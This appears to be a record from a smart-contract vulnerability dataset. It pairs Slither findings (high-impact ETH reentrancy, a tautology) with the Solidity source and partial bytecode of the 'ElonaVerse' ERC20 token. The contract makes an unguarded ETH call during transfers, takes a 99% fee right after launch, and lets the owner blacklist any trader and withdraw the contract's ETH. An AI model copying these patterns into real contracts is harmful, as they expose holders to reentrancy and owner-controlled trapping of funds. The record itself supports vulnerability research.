{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 8,968 |
0xc197a1d140dff61bf79fe0c4e15e4d25afb8dfce
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ElonaVerse is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private uniswapV2Router;
mapping (address => uint) private cooldown;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
bool private tradingOpen;
bool private swapping;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
string private constant _name = "ElonaVerse";
string private constant _symbol = "ELONAVERSE";
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1e15 * (10**_decimals);
uint256 private _maxBuyAmount = _tTotal;
uint256 private _maxSellAmount = _tTotal;
uint256 private _maxWalletAmount = _tTotal;
uint256 private tradingActiveBlock = 0;
uint256 private blocksToBlacklist = 5;
uint256 private _buyProjectFee = 2;
uint256 private _previousBuyProjectFee = _buyProjectFee;
uint256 private _buyLiquidityFee = 2;
uint256 private _previousBuyLiquidityFee = _buyLiquidityFee;
uint256 private _buyDevelopmentFee = 2;
uint256 private _previousBuyDevelopmentFee = _buyDevelopmentFee;
uint256 private _sellProjectFee = 4;
uint256 private _previousSellProjectFee = _sellProjectFee;
uint256 private _sellLiquidityFee = 4;
uint256 private _previousSellLiquidityFee = _sellLiquidityFee;
uint256 private _sellDevelopmentFee = 4;
uint256 private _previousSellDevelopmentFee = _sellDevelopmentFee;
uint256 private tokensForProject;
uint256 private tokensForLiquidity;
uint256 private tokensForDevelopment;
uint256 private swapTokensAtAmount = 0;
address payable private _projectWallet;
address payable private _liquidityWallet;
address private uniswapV2Pair;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address projectWallet, address liquidityWallet) {
_projectWallet = payable(projectWallet);
_liquidityWallet = payable(liquidityWallet);
_rOwned[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_projectWallet] = true;
_isExcludedFromFee[_liquidityWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _rOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setSwapEnabled(bool onoff) external onlyOwner(){
swapEnabled = onoff;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = false;
bool shouldSwap = false;
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
require(!bots[from] && !bots[to]);
if (cooldownEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(cooldown[tx.origin] < block.number - 1 && cooldown[to] < block.number - 1, "_transfer:: Transfer Delay enabled. Try again later.");
cooldown[tx.origin] = block.number;
cooldown[to] = block.number;
}
}
takeFee = true;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(amount <= _maxBuyAmount, "Transfer amount exceeds the maxBuyAmount.");
require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds maximum wallet token amount.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFee[from]) {
require(amount <= _maxSellAmount, "Transfer amount exceeds the maxSellAmount.");
shouldSwap = true;
}
}
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = (contractTokenBalance > swapTokensAtAmount) && shouldSwap;
if (canSwap && swapEnabled && !swapping && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapping = true;
swapBack();
swapping = false;
}
_tokenTransfer(from,to,amount,takeFee, shouldSwap);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForProject + tokensForDevelopment;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 10) {
contractBalance = swapTokensAtAmount * 10;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForProject = ethBalance.mul(tokensForProject).div(totalTokensToSwap);
uint256 ethForDevelopment = ethBalance.mul(tokensForDevelopment).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForProject - ethForDevelopment;
tokensForLiquidity = 0;
tokensForProject = 0;
tokensForDevelopment = 0;
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(_projectWallet).call{value: address(this).balance}("");
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
_liquidityWallet,
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_projectWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxBuyAmount = 5e12 * (10**_decimals);
_maxSellAmount = 3e12 * (10**_decimals);
_maxWalletAmount = 2e13 * (10**_decimals);
swapTokensAtAmount = 3e11 * (10**_decimals);
tradingOpen = true;
tradingActiveBlock = block.number;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setMaxBuyAmount(uint256 maxBuy) public onlyOwner {
require(maxBuy >= 1e11 * (10**_decimals), "Max buy amount cannot be lower than 0.01% total supply.");
_maxBuyAmount = maxBuy;
}
function setMaxSellAmount(uint256 maxSell) public onlyOwner {
require(maxSell >= 1e11 * (10**_decimals), "Max sell amount cannot be lower than 0.01% total supply.");
_maxSellAmount = maxSell;
}
function setMaxWalletAmount(uint256 maxToken) public onlyOwner {
require(maxToken >= 1e12 * (10**_decimals), "Max wallet amount cannot be lower than 0.1% total supply.");
_maxWalletAmount = maxToken;
}
function setSwapTokensAtAmount(uint256 newAmount) public onlyOwner {
require(newAmount >= 1e11 * (10**_decimals), "Swap amount cannot be lower than 0.01% total supply.");
require(newAmount <= 5e12 * (10**_decimals), "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
}
function setProjectWallet(address projectWallet) public onlyOwner() {
require(projectWallet != address(0), "projectWallet address cannot be 0");
_isExcludedFromFee[_projectWallet] = false;
_projectWallet = payable(projectWallet);
_isExcludedFromFee[_projectWallet] = true;
}
function setLiquidityWallet(address liquidityWallet) public onlyOwner() {
require(liquidityWallet != address(0), "liquidityWallet address cannot be 0");
_isExcludedFromFee[_liquidityWallet] = false;
_liquidityWallet = payable(liquidityWallet);
_isExcludedFromFee[_liquidityWallet] = true;
}
function setExcludedFromFees(address[] memory accounts, bool exempt) public onlyOwner {
for (uint i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = exempt;
}
}
function setBots(address[] memory accounts, bool exempt) public onlyOwner {
for (uint i = 0; i < accounts.length; i++) {
bots[accounts[i]] = exempt;
}
}
function setBuyFee(uint256 buyProjectFee, uint256 buyLiquidityFee, uint256 buyDevelopmentFee) external onlyOwner {
require(buyProjectFee + buyLiquidityFee + buyDevelopmentFee <= 30, "Must keep buy taxes below 30%");
_buyProjectFee = buyProjectFee;
_buyLiquidityFee = buyLiquidityFee;
_buyDevelopmentFee = buyDevelopmentFee;
}
function setSellFee(uint256 sellProjectFee, uint256 sellLiquidityFee, uint256 sellDevelopmentFee) external onlyOwner {
require(sellProjectFee + sellLiquidityFee + sellDevelopmentFee <= 30, "Must keep sell taxes below 30%");
_sellProjectFee = sellProjectFee;
_sellLiquidityFee = sellLiquidityFee;
_sellDevelopmentFee = sellDevelopmentFee;
}
function setBlocksToBlacklist(uint256 blocks) public onlyOwner {
blocksToBlacklist = blocks;
}
function removeAllFee() private {
if(_buyProjectFee == 0 && _buyLiquidityFee == 0 && _buyDevelopmentFee == 0 && _sellProjectFee == 0 && _sellLiquidityFee == 0 && _sellDevelopmentFee == 0) return;
_previousBuyProjectFee = _buyProjectFee;
_previousBuyLiquidityFee = _buyLiquidityFee;
_previousBuyDevelopmentFee = _buyDevelopmentFee;
_previousSellProjectFee = _sellProjectFee;
_previousSellLiquidityFee = _sellLiquidityFee;
_previousSellDevelopmentFee = _sellDevelopmentFee;
_buyProjectFee = 0;
_buyLiquidityFee = 0;
_buyDevelopmentFee = 0;
_sellProjectFee = 0;
_sellLiquidityFee = 0;
_sellDevelopmentFee = 0;
}
function restoreAllFee() private {
_buyProjectFee = _previousBuyProjectFee;
_buyLiquidityFee = _previousBuyLiquidityFee;
_buyDevelopmentFee = _previousBuyDevelopmentFee;
_sellProjectFee = _previousSellProjectFee;
_sellLiquidityFee = _previousSellLiquidityFee;
_sellDevelopmentFee = _previousSellDevelopmentFee;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool isSell) private {
if(!takeFee) {
removeAllFee();
} else {
amount = _takeFees(sender, amount, isSell);
}
_transferStandard(sender, recipient, amount);
if(!takeFee) {
restoreAllFee();
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
_rOwned[sender] = _rOwned[sender].sub(tAmount);
_rOwned[recipient] = _rOwned[recipient].add(tAmount);
emit Transfer(sender, recipient, tAmount);
}
function _takeFees(address sender, uint256 amount, bool isSell) private returns (uint256) {
uint256 _totalFees;
uint256 pjctFee;
uint256 liqFee;
uint256 devFee;
if(tradingActiveBlock + blocksToBlacklist >= block.number){
_totalFees = 99;
pjctFee = 33;
liqFee = 33;
devFee = 33;
} else {
_totalFees = _getTotalFees(isSell);
if (isSell) {
pjctFee = _sellProjectFee;
liqFee = _sellLiquidityFee;
devFee = _sellDevelopmentFee;
} else {
pjctFee = _buyProjectFee;
liqFee = _buyLiquidityFee;
devFee = _buyDevelopmentFee;
}
}
uint256 fees = amount.mul(_totalFees).div(100);
tokensForProject += fees * pjctFee / _totalFees;
tokensForLiquidity += fees * liqFee / _totalFees;
tokensForDevelopment += fees * devFee / _totalFees;
if(fees > 0) {
_transferStandard(sender, address(this), fees);
}
return amount -= fees;
}
receive() external payable {}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external onlyOwner {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function withdrawStuckETH() external onlyOwner {
bool success;
(success,) = address(msg.sender).call{value: address(this).balance}("");
}
function _getTotalFees(bool isSell) private view returns(uint256) {
if (isSell) {
return _sellProjectFee + _sellLiquidityFee + _sellDevelopmentFee;
}
return _buyProjectFee + _buyLiquidityFee + _buyDevelopmentFee;
}
}
|
0x6080604052600436106101bb5760003560e01c80638a780447116100ec578063c9567bf91161008a578063e6f7ef4d11610064578063e6f7ef4d14610528578063e99c9d0914610548578063f34eb0b814610568578063f5648a4f1461058857600080fd5b8063c9567bf9146104ad578063dd62ed3e146104c2578063e01af92c1461050857600080fd5b80639c0db5f3116100c65780639c0db5f314610438578063a9059cbb14610458578063afa4f3b214610478578063c3c8cd801461049857600080fd5b80638a780447146103bd5780638da5cb5b146103dd57806395d89b411461040557600080fd5b806327a14fc2116101595780635932ead1116101335780635932ead11461033d5780636fc3eaec1461035d57806370a0823114610372578063715018a6146103a857600080fd5b806327a14fc2146102e1578063296f0a0c14610301578063313ce5671461032157600080fd5b806318160ddd1161019557806318160ddd1461025e5780631d865c301461028157806323b872dd146102a157806325519cf2146102c157600080fd5b806306fdde03146101c7578063095ea7b31461020c578063105222f91461023c57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b5060408051808201909152600a815269456c6f6e61566572736560b01b60208201525b604051610203919061244f565b60405180910390f35b34801561021857600080fd5b5061022c6102273660046124c9565b61059d565b6040519015158152602001610203565b34801561024857600080fd5b5061025c610257366004612524565b6105b4565b005b34801561026a57600080fd5b50610273610653565b604051908152602001610203565b34801561028d57600080fd5b5061025c61029c3660046125fb565b610677565b3480156102ad57600080fd5b5061022c6102bc366004612627565b610714565b3480156102cd57600080fd5b5061025c6102dc3660046125fb565b61077d565b3480156102ed57600080fd5b5061025c6102fc366004612668565b61081a565b34801561030d57600080fd5b5061025c61031c366004612681565b6108d9565b34801561032d57600080fd5b5060405160098152602001610203565b34801561034957600080fd5b5061025c61035836600461269e565b6109b5565b34801561036957600080fd5b5061025c6109ff565b34801561037e57600080fd5b5061027361038d366004612681565b6001600160a01b031660009081526004602052604090205490565b3480156103b457600080fd5b5061025c610a36565b3480156103c957600080fd5b5061025c6103d8366004612681565b610aaa565b3480156103e957600080fd5b506000546040516001600160a01b039091168152602001610203565b34801561041157600080fd5b5060408051808201909152600a815269454c4f4e41564552534560b01b60208201526101f6565b34801561044457600080fd5b5061025c610453366004612524565b610b84565b34801561046457600080fd5b5061022c6104733660046124c9565b610c15565b34801561048457600080fd5b5061025c610493366004612668565b610c22565b3480156104a457600080fd5b5061025c610d60565b3480156104b957600080fd5b5061025c610da3565b3480156104ce57600080fd5b506102736104dd3660046126bb565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561051457600080fd5b5061025c61052336600461269e565b611196565b34801561053457600080fd5b5061025c610543366004612668565b6111de565b34801561055457600080fd5b5061025c610563366004612668565b61120d565b34801561057457600080fd5b5061025c610583366004612668565b6112cc565b34801561059457600080fd5b5061025c61138b565b60006105aa338484611402565b5060015b92915050565b6000546001600160a01b031633146105e75760405162461bcd60e51b81526004016105de906126f4565b60405180910390fd5b60005b825181101561064e57816006600085848151811061060a5761060a612729565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061064681612755565b9150506105ea565b505050565b60006106616009600a612854565b6106729066038d7ea4c68000612863565b905090565b6000546001600160a01b031633146106a15760405162461bcd60e51b81526004016105de906126f4565b601e816106ae8486612882565b6106b89190612882565b11156107065760405162461bcd60e51b815260206004820152601e60248201527f4d757374206b6565702073656c6c2074617865732062656c6f7720333025000060448201526064016105de565b601492909255601655601855565b6000610721848484611527565b610773843361076e856040518060600160405280602881526020016129e8602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611b5f565b611402565b5060019392505050565b6000546001600160a01b031633146107a75760405162461bcd60e51b81526004016105de906126f4565b601e816107b48486612882565b6107be9190612882565b111561080c5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206275792074617865732062656c6f772033302500000060448201526064016105de565b600e92909255601055601255565b6000546001600160a01b031633146108445760405162461bcd60e51b81526004016105de906126f4565b6108506009600a612854565b61085f9064e8d4a51000612863565b8110156108d45760405162461bcd60e51b815260206004820152603960248201527f4d61782077616c6c657420616d6f756e742063616e6e6f74206265206c6f776560448201527f72207468616e20302e312520746f74616c20737570706c792e0000000000000060648201526084016105de565b600b55565b6000546001600160a01b031633146109035760405162461bcd60e51b81526004016105de906126f4565b6001600160a01b0381166109655760405162461bcd60e51b815260206004820152602360248201527f6c697175696469747957616c6c657420616464726573732063616e6e6f74206260448201526206520360ec1b60648201526084016105de565b601f80546001600160a01b03908116600090815260066020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000546001600160a01b031633146109df5760405162461bcd60e51b81526004016105de906126f4565b600880549115156401000000000264ff0000000019909216919091179055565b6000546001600160a01b03163314610a295760405162461bcd60e51b81526004016105de906126f4565b47610a3381611b99565b50565b6000546001600160a01b03163314610a605760405162461bcd60e51b81526004016105de906126f4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610ad45760405162461bcd60e51b81526004016105de906126f4565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602160248201527f70726f6a65637457616c6c657420616464726573732063616e6e6f74206265206044820152600360fc1b60648201526084016105de565b601e80546001600160a01b03908116600090815260066020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000546001600160a01b03163314610bae5760405162461bcd60e51b81526004016105de906126f4565b60005b825181101561064e578160076000858481518110610bd157610bd1612729565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610c0d81612755565b915050610bb1565b60006105aa338484611527565b6000546001600160a01b03163314610c4c5760405162461bcd60e51b81526004016105de906126f4565b610c586009600a612854565b610c679064174876e800612863565b811015610cd35760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e604482015273101817181892903a37ba30b61039bab838363c9760611b60648201526084016105de565b610cdf6009600a612854565b610cef9065048c27395000612863565b811115610d5b5760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b60648201526084016105de565b601d55565b6000546001600160a01b03163314610d8a5760405162461bcd60e51b81526004016105de906126f4565b30600090815260046020526040902054610a3381611bd3565b6000546001600160a01b03163314610dcd5760405162461bcd60e51b81526004016105de906126f4565b60085460ff1615610e205760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105de565b600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610e6b3082610e5a6009600a612854565b61076e9066038d7ea4c68000612863565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ea9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ecd919061289a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3e919061289a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610faf919061289a565b602080546001600160a01b039283166001600160a01b03199091161790556002541663f305d7194730610ff7816001600160a01b031660009081526004602052604090205490565b60008061100c6000546001600160a01b031690565b426040518863ffffffff1660e01b815260040161102e969594939291906128b7565b60606040518083038185885af115801561104c573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061107191906128f2565b50506008805464ffff0000001916640101000000179055506110956009600a612854565b6110a59065048c27395000612863565b60099081556110b590600a612854565b6110c5906502ba7def3000612863565b600a9081556110d690600990612854565b6110e6906512309ce54000612863565b600b556110f56009600a612854565b611104906445d964b800612863565b601d556008805460ff1916600117905543600c5560205460025460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af115801561116e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111929190612920565b5050565b6000546001600160a01b031633146111c05760405162461bcd60e51b81526004016105de906126f4565b6008805491151563010000000263ff00000019909216919091179055565b6000546001600160a01b031633146112085760405162461bcd60e51b81526004016105de906126f4565b600d55565b6000546001600160a01b031633146112375760405162461bcd60e51b81526004016105de906126f4565b6112436009600a612854565b6112529064174876e800612863565b8110156112c75760405162461bcd60e51b815260206004820152603860248201527f4d61782073656c6c20616d6f756e742063616e6e6f74206265206c6f7765722060448201527f7468616e20302e30312520746f74616c20737570706c792e000000000000000060648201526084016105de565b600a55565b6000546001600160a01b031633146112f65760405162461bcd60e51b81526004016105de906126f4565b6113026009600a612854565b6113119064174876e800612863565b8110156113865760405162461bcd60e51b815260206004820152603760248201527f4d61782062757920616d6f756e742063616e6e6f74206265206c6f776572207460448201527f68616e20302e30312520746f74616c20737570706c792e00000000000000000060648201526084016105de565b600955565b6000546001600160a01b031633146113b55760405162461bcd60e51b81526004016105de906126f4565b604051600090339047908381818185875af1925050503d80600081146113f7576040519150601f19603f3d011682016040523d82523d6000602084013e6113fc565b606091505b50505050565b6001600160a01b0383166114645760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105de565b6001600160a01b0382166114c55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105de565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661158b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105de565b6001600160a01b0382166115ed5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105de565b6000811161164f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105de565b6000806116646000546001600160a01b031690565b6001600160a01b0316856001600160a01b03161415801561169357506000546001600160a01b03858116911614155b80156116a757506001600160a01b03841615155b80156116be57506001600160a01b03841661dead14155b80156116d25750600854610100900460ff16155b15611a40576001600160a01b03851660009081526007602052604090205460ff1615801561171957506001600160a01b03841660009081526007602052604090205460ff16155b61172257600080fd5b600854640100000000900460ff161561183e576002546001600160a01b0385811691161480159061176157506020546001600160a01b03858116911614155b1561183e5761177160014361293d565b326000908152600360205260409020541080156117af575061179460014361293d565b6001600160a01b038516600090815260036020526040902054105b6118195760405162461bcd60e51b815260206004820152603560248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527432b21710102a393c9030b3b0b4b7103630ba32b91760591b60648201526084016105de565b3260009081526003602052604080822043908190556001600160a01b03871683529120555b602054600192506001600160a01b03868116911614801561186d57506002546001600160a01b03858116911614155b801561189257506001600160a01b03841660009081526006602052604090205460ff16155b15611982576009548311156118fb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178426044820152683abca0b6b7bab73a1760b91b60648201526084016105de565b600b548361191e866001600160a01b031660009081526004602052604090205490565b6119289190612882565b11156119825760405162461bcd60e51b8152602060048201526024808201527f45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f6044820152633ab73a1760e11b60648201526084016105de565b6020546001600160a01b0385811691161480156119ad57506002546001600160a01b03868116911614155b80156119d257506001600160a01b03851660009081526006602052604090205460ff16155b15611a4057600a54831115611a3c5760405162461bcd60e51b815260206004820152602a60248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785360448201526932b63620b6b7bab73a1760b11b60648201526084016105de565b5060015b6001600160a01b03851660009081526006602052604090205460ff1680611a7f57506001600160a01b03841660009081526006602052604090205460ff165b15611a8957600091505b3060009081526004602052604081205490506000601d5482118015611aab5750825b9050808015611ac357506008546301000000900460ff165b8015611ad75750600854610100900460ff16155b8015611afc57506001600160a01b03871660009081526006602052604090205460ff16155b8015611b2157506001600160a01b03861660009081526006602052604090205460ff16155b15611b49576008805461ff001916610100179055611b3d611d4a565b6008805461ff00191690555b611b568787878787611f34565b50505050505050565b60008184841115611b835760405162461bcd60e51b81526004016105de919061244f565b506000611b90848661293d565b95945050505050565b601e546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611192573d6000803e3d6000fd5b6008805462ff00001916620100001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611c1957611c19612729565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611c72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c96919061289a565b81600181518110611ca957611ca9612729565b6001600160a01b039283166020918202929092010152600254611ccf9130911684611402565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac94790611d08908590600090869030904290600401612954565b600060405180830381600087803b158015611d2257600080fd5b505af1158015611d36573d6000803e3d6000fd5b50506008805462ff00001916905550505050565b3060009081526004602052604081205490506000601c54601a54601b54611d719190612882565b611d7b9190612882565b90506000821580611d8a575081155b15611d9457505050565b601d54611da290600a612863565b831115611dba57601d54611db790600a612863565b92505b6000600283601b5486611dcd9190612863565b611dd791906129c5565b611de191906129c5565b90506000611def8583611f94565b905047611dfb82611bd3565b6000611e074783611f94565b90506000611e2a87611e24601a5485611fdd90919063ffffffff16565b9061205c565b90506000611e4788611e24601c5486611fdd90919063ffffffff16565b9050600081611e56848661293d565b611e60919061293d565b6000601b819055601a819055601c5590508615801590611e805750600081115b15611ed357611e8f878261209e565b601b54604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b601e546040516001600160a01b03909116904790600081818185875af1925050503d8060008114611f20576040519150601f19603f3d011682016040523d82523d6000602084013e611f25565b606091505b50505050505050505050505050565b81611f4657611f41612139565b611f54565b611f518584836121c1565b92505b611f5f8585856122e4565b81611f8d57611f8d600f54600e55601154601055601354601255601554601455601754601655601954601855565b5050505050565b6000611fd683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b5f565b9392505050565b600082611fec575060006105ae565b6000611ff88385612863565b90508261200585836129c5565b14611fd65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d7